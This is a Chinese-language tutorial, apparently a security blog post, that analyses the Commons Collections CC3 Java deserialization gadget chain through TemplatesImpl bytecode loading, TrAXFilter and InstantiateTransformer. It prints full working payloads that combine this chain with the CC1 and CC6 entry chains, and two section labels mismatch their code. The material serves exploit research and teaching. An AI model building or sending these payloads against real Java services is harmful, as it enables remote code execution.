CC3链分析
1. CC3链背景
前面介绍了CC1和CC6,这两条链子虽然前面的入口类不同
- CC1入口类是
AnnotationInvocationHandler
- CC6入口类是
HashMap
但是其触发恶意代码的方式是相同的,都是InvokerTransformer.transform()
触发Runtime.getRuntime().exec()
实现命令执行。
而在很多情况下,Runtime.getRuntime().exec()
方式会被服务器所禁止(代码黑名单),导致最终利用链无法执行。
而除了Runtime.getRuntime().exec()
这种方式之外,还有别的方式能够触发恶意代码吗?
答案是有的:就是通过类加载机制加载恶意类,执行恶意代码。
CC3链则是前面的入口类不变,而后面执行恶意代码利用的是类加载机制加载恶意类的方式。
2. CC3链环境
环境还是使用CC1链的环境:
Apache Commons Collections 3.2.1
JDK 8u66
3. CC3链中使用的动态类加载机制
通常情况下,实战中使用动态类加载机制加载恶意类的方式有以下几种:
- URLClassLoader 任意类加载
- ClassLoader.defineClass 字节码加载任意类(私有方法)
- Unsafe.defineClass 字节码加载(公有方法),但类不能直接生成,Spring中可以直接生成
而CC3链则是利用的ClassLoader.defineClass 字节码加载任意类(私有方法)
。
ClassLoader.defineClass 字节码加载任意类方式为:
// 获取一个classLoader对象
ClassLoader cl = ClassLoader.getSystemClassLoader();
// 通过反射获取到ClassLoad类中的defineClass方法对象
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// Test类的字节码
byte[] code = Files.readAllBytes(Paths.get("Test.class文件路径"));
// 相当于执行了 cl.defineClass("Test",code,0,code.length),即通过字节码创建了一个名为Test的类
Class c = (Class) defineClassMethod.invoke(cl,"Test",code,0,code.length);
// 对Test类实例化
Test testObj = c.newInstance();
4. TemplatesImpl类的利用方式
TemplatesImpl类的利用也是比较常用的,这里单独拿出来说一下~
当然也是CC3链中的一环。
4.1. TemplatesImpl类中的调用链
先定位到java/lang/ClassLoader
中的defineClass()
方法:
通过defineClass()
方法可以加载一个类字节码,生成一个类对象。如果类字节码中存在恶意的内容,则会执行。
接下来寻找一下哪里调用了defineClass()
方法,和其他利用链一样,最终需要找到readObject()
。
Alt+F7寻找一下defineClass()
方法的调用(注意选择All Places)
找到TemplatesImpl.TransletClassLoader
中的defineClass()
继续寻找TemplatesImpl.TransletClassLoader
中的defineClass()
方法的调用:
找到TemplatesImpl.defineTransletClasses
中的defineClass()
调用
继续寻找defineTransletClasses()
方法的调用:
寻找到TemplatesImpl.getTransletInstance()
方法中存在其调用
需要getTransletInstance()
方法的调用:
寻找到TemplatesImpl.newTransformer()
方法中存在其调用
而TemplatesImpl.newTransformer()
方法由public修饰,可以直接调用
这里可以先测试下这一调用关系,调用TemplatesImpl.newTransformer()
方法尝试触发动态类加载,实现恶意代码执行~
此时的调用链为:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
4.2. 构造TemplatesImpl类中的调用链的payload
接下来我们构造一下当前的调用链的payload,使其调用TemplatesImpl.newTransformer()
时,加载恶意类,触发恶意代码。
通过刚才的分析,当调用到newTransformer()
方法时,会触发一系列的调用,当然,我们要解决中间的一些“阻碍”。
首先创建一个TemplatesImpl
对象:
TemplatesImpl templates = new TemplatesImpl();
接下来调用newTransformer()
方法:
templates.newTransformer();
此时的整体代码为:
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
此时运行代码,并不会执行恶意代码,因为我们连恶意类字节码还没呢!此时只是调用了newTransformer()
方法而已,调用链并不能成功执行下去。
但是我们开头和结尾已经有了,接下来需要在中间将参数、限制条件等解决掉。
假如现在我们已经执行了newTransformer()
方法,那么到底是什么内容限制了调用链的成功执行呢?
一步一步看:
首先调用newTransformer()
方法后,我们通过调用链得知,接下来需要调用TemplatesImpl.getTransletInstance()
方法,而在newTransformer()
方法内部可以发现,并没有什么可以阻碍代码执行到getTransletInstance()
方法,所以这里“过~”
接下来,是需要调用TemplatesImpl.defineTransletClasses()
方法,进入getTransletInstance()
方法看一下:
从这里可以发现,这里有两道坎,一个是_name
,一个是_class
,我们需要满足:
_name
不能为null_class
必须是null
因为这些属性默认就是null,所以我们需要给_name
赋值,使其不是null。
通过查看_name
属性在该类中的赋值情况,发现并不好赋值,所以接下来我们通过反射,给_name
属性赋值:
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
此时payload代码如下:
TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");templates.newTransformer();
此时运行,还是执行不成功。因为后面还是有别的限制的,继续分析~
现在能成功调用defineTransletClasses()
方法了,根据调用链得知,接下来需要调用TransletClassLoader.defineClass()
方法。
进入到defineTransletClasses()
方法内部:
发现,这里有一个限制,就是_bytecodes
属性,不能为空,否则报异常。
看看_bytecodes
属性,发现是一个二维数组:
并且在调用defineClass()
方法的位置,_bytecodes[i]
会当做defineClass()
方法的参数传入。
一步步进入defineClass()
方法后会发现,最后调用了ClassLoader.defineClass()
,当然这里就是前面所说的调用链。
这里我们关注_bytecodes[i]
参数,最终会成为ClassLoader.defineClass()
方法的byte[] b
,也就是说最终通过defineClass
方式加载的类字节码。
这里先准备个.class的恶意文件:
1)创建恶意类
2)构建项目
3)将生成的Test.class恶意文件放入一个目录中(随意)
我这里放的位置为:E:\_JavaProject\temp\Test.class
准备好.class
文件之后,接下来给_bytecodes
属性赋值,注意它是一个二维数组,传入defineClass()方法的是_bytecodes[i]
,所以我们加载的.class
文件的字节码内容,应该放在_bytecodes[i]
处。
相关代码如下:
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
此时的payload为:
TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去templates.newTransformer();
但是此时运行,还是不行。经过调试,发现defineTransletClasses()
方法中用到的_tfactory
也不能为null:
接下来安装同样的方法,将_tfactory
也设置上内容,
查看一下_tfactory
的类型:
发现是TransformerFactoryImpl
类型,但是被transient
修饰,也就是说不能进行序列化。
那这不完了吗?我们所说的这个链是用于反序列化的,不能序列化那后面用不了啊 。
用不了的解释:即使现在将_tfactory
手动赋值了,能完成此时的调用链执行,但是序列化的时候不会序列化进去,那反序列化的时候_tfactory
还是为空,执行到这的时候还是执行不下去~
但是~说巧不巧,TemplatesImpl
类的readObject()
方法中存在_tfactory
赋值:
这意味着什么呢?
意味着,即使我们没有将_tfactory
序列化进去,但是执行readObject()
即反序列的时候,同样会给_tfactory
赋值!这样就不用担心_tfactory
为null了。
OK,接下来通过相同的方式给_tfactory
赋值:
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
此时完整的payload为:
TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());templates.newTransformer();
但是此时运行,还是执行不了。
并且报NullPointerException
空指针异常的错误。
当我们通过断点调试,发现
这里有个判断:
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}
即动态加载的类的父类需要是ABSTRACT_TRANSLET
,即AbstractTranslet
。
如果不是,就会进入到else语句,而此时的_auxClasses为null,因此会报NullPointerException
空指针异常的错误。
这里解决方式,也很简单,不然语句进入else即可,即将我们动态加载的类继承一下AbstractTranslet
即可。
因此,Test.java的代码修改为:
然后再加载其.class
即可。
5. CC1链和CC6链与TemplatesImpl类的结合使用
通过上面的分析,我们只需要执行templates.newTransformer()
,就可以实现恶意代码的执行。
那么如何在反序列化时执行templates.newTransformer()
呢?其实方式很多,比如利用之前CC1和CC6链的前半段中的InvokerTransformer.transformer()
就可以执行任意方法。
在CC1链的分析中:使用
InvokerTransformer
对象调用transform()
方法,会以反射的方式执行任意方法。
所以我们也可以通过InvokerTransformer.transformer()
来执行templates.newTransformer()
,进而执行到恶意代码。
这里就是解决CC1、CC6的前半段和TemplatesImpl类的命令执行实现的,其实和CC1、CC6也差不多,只是换了命令执行的方式:
- 之前是
Runtime.getRuntime().exec()
方式执行恶意代码。 - 现在是
templates.newTransformer()
动态类加载任意类方式执行恶意代码。
📌其实这种结合方式很多,各个链子之间也可以拆开组合,形成十几条链子都是没问题的~
5.1. CC1-1链与TemplatesImpl类结合使用
这里的调用链是使用CC1-1链的前半段+TemplatesImpl类调用链。
sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
在payload代码中只有transformerArray需要修改一下,其他都是一样的。
TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());// templates.newTransformer();
// 使用CC1链的前半段,只有transformerArray不同,其他都是一样的
Transformer[] transformerArray = new Transformer[]{// 传入templates,返回templates,当做下一个transformer的调用者new ConstantTransformer(templates),// 这里在反序列化时,会触发templates.newTransformer()new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
5.2. CC1-2链与TemplatesImpl类结合使用
这里的调用链是使用CC1-2链的前半段+TemplatesImpl类调用链。
sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
在payload代码中只有transformerArray需要修改一下,其他都是一样的。
TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());// templates.newTransformer();
// 使用CC1链的前半段,只有transformerArray不同,其他都是一样的
Transformer[] transformerArray = new Transformer[]{// 传入templates,返回templates,当做下一个transformer的调用者new ConstantTransformer(templates),// 这里在反序列化时,会触发templates.newTransformer()new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
mapProxy.entrySet();InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
}
5.3. CC6链与TemplatesImpl类结合使用
这里的调用链是使用CC1-1链的前半段+TemplatesImpl类调用链。
java.util.HashMap#readObject()
java.util.HashMap#hash
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
在payload代码中只有transformerArray需要修改一下,其他都是一样的。
5.4. 调用链组合小总结
可以看到,很多调用链都是换汤不换药,调用链包含以下三个部分:
- 入口类 source
- 调用链 gadget chain
- 执行类 sink
其中执行类sink有两种:
Runtime.getRuntime().exec()
方式执行恶意代码。templates.newTransformer()
动态类加载任意类方式执行恶意代码。
而入口类source和调用链gadget chain可以有很多组合,Java反序列化CC调用链中都是不同的组合类型。
6. CC3链分析
有了以上的这些知识之后,再来分析CC3链会非常简单(当然其他CC链也会非常好理解了)。
好,进入正题!
其实
CC3链
和“CC1-2和TemplatesImpl类
”的组合很相似。只是在中间的调用链部分多了一些内容。
6.1. TrAXFilter
在之前了解的TemplatesImpl
类的利用方式,我们需要执行TemplatesImpl.newTransformer()
来触发动态类加载,执行恶意代码。
当时使用的是直接实例化TemplatesImpl
对象,然后调用newTransformer()
。
其实也可以寻找在哪里有调用newTransformer()
方法,比如下面的TrAXFilter
类的构造方法中就存在其调用(这也是CC3链中使用的)。
在TrAXFilter
类的构造方法中,接收一个Templates
对象作为参数,而TemplatesImpl
类继承自Templates
,所以TemplatesImpl
类的调用链中的TemplatesImpl
对象也可以当做其参数。
所以,我们可以将TemplatesImpl
类中的调用链的payload做一下简单修改,同样可以触发恶意代码:
将
templates.newTransformer();
修改为
new TrAXFilter(templates);
此时会调用TrAXFilter
的构造方法,进而执行templates.newTransformer()
,
此时完整的payload代码如下:
TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());// templates.newTransformer();
new TrAXFilter(templates);
可以看到,可以正常执行恶意代码:
那么接下来继续寻找TrAXFilter()
构造方法的调用,虽然有,但是不是我们想要的(这里可以自行分析一下)。
接下来我们了解一个InstantiateTransformer
类,这是CC3链中使用到的,也是CC3链的重点。
6.2. InstantiateTransformer类的transform()
该InstantiateTransformer
类的构造方法和transform()
方法如下:
通过分析transform()
方法,会发现,它的作用是
- 将传入的
input
对象先进行判断,如果是Class对象则跳过判断,进入后面的代码 - 后面的代码是通过
getConstructor()
方法获取到input
类对象的构造方法对象Constructor
- 之后通过
newInstance()
方法,获取到对应的input
类的实例对象之后返回 - 其中
iParamTypes
和iArgs
为对应方法的参数,在构造方法中有赋值
因此有了InstantiateTransformer
的transform()
方法,我们可以通过此方式来创建TrAXFilter
对象,即调用TrAXFilter
的构造方法,触发恶意代码。
所以可以将new TrAXFilter(templates)
进行修改:
transform()
方法的参数input
为TrAXFilter.class
iParamTypes
属性为TrAXFilter
构造方法的参数类型即new Class[]{Templates.class}
iArgs
属性为TrAXFilter
构造方法的参数即new Object[]{templates}
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
同样可以执行恶意代码:
6.3. 完成最后的冲刺
那接下来就是寻找transform()
方法的调用,其实这里可以接上CC1的前半部分调用链了,通过ChainedTransformer
来进行调用。即将instantiateTransformer
放入ChainedTransformer
链中,然后按照CC1的方式调用即可。
相关代码如下:
// templates.newTransformer();
// new TrAXFilter(templates);InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformerArray = new Transformer[]{// 传入TrAXFilter.class,返回TrAXFilter.class,当做下一个transform的参数new ConstantTransformer(TrAXFilter.class),instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
可以简单整理一下:
Transformer[] transformerArray = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
6.3.1. 结合CC1-2链的调用链
所以完整payload就可以修改为如下:
TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());Transformer[] transformerArray = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa"); // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");
这里结合的是CC1链的第2条CC1-2链,即LazyMap的方式,其实也可以使用CC1-1链,都是一样的,只是调用方式有点不同。
6.3.2. 结合CC1-1链的调用链
相关的payload如下:
TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());Transformer[] transformerArray = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);HashMap map = new HashMap();
map.put("value","I am leyilea!");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
7. CC1-1、CC1-2、CC3、CC6调用链总结
8. 参考链接
Java反序列化Commons-Collection篇03-CC3链 - 1vxyz - 博客园 (cnblogs.com)